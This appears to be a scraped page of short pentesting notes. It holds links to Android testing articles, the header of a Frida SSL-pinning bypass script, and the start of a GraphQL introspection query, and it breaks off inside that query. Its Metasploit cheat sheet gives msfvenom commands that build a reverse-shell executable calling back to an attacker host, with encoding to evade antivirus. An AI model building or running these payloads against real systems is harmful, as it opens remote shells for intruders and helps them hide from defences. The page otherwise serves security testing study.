thevillagehacker

Android Pentesting

Android Pentesting Sources from Hacking articles

• https://www.hackingarticles.in/android-penetration-testing-apk-reverse-engineering/
• https://www.hackingarticles.in/android-penetration-testing-apk-reversing-part-2/
• https://www.hackingarticles.in/android-pentest-deep-link-exploitation/
• https://www.hackingarticles.in/android-penetration-testing-webview-attacks/
• https://www.hackingarticles.in/android-penetration-testing-frida/
• https://www.hackingarticles.in/android-pentest-lab-setup-adb-command-cheatsheet/
• https://www.hackingarticles.in/android-hooking-and-sslpinning-using-objection-framework/
• https://www.hackingarticles.in/android-penetration-testing-drozer/

thevillagehacker

/* 
   Android SSL Re-pinning frida script v0.2 030417-pier 

   $ adb push burpca-cert-der.crt /data/local/tmp/cert-der.crt
   $ frida -U -f it.app.mobile -l frida-android-repinning.js --no-pause

   https://techblog.mediaservice.net/2017/07/universal-android-ssl-pinning-bypass-with-frida/
   
   UPDATE 20191605: Fixed undeclared var. Thanks to @oleavr and @ehsanpc9999 !
*/

thevillagehacker

Metasploit Revershell CheatSheet

Msfvenom: 
msfvenom -p windows/shell_reverse_tcp LHOST=<your ip> LPORT=<your port> -f exe -o shell_reverse.exe

To avoid AV detection, use encryption

msfvenom -p windows/shell_reverse_tcp LHOST=<your ip> LPORT=<your port> -f exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe

thevillagehacker

query IntrospectionQuery {
    __schema {
      queryType { name }
      mutationType { name }
      subscriptionType { name }
      types {
        ...FullType
      }
      directives {
        name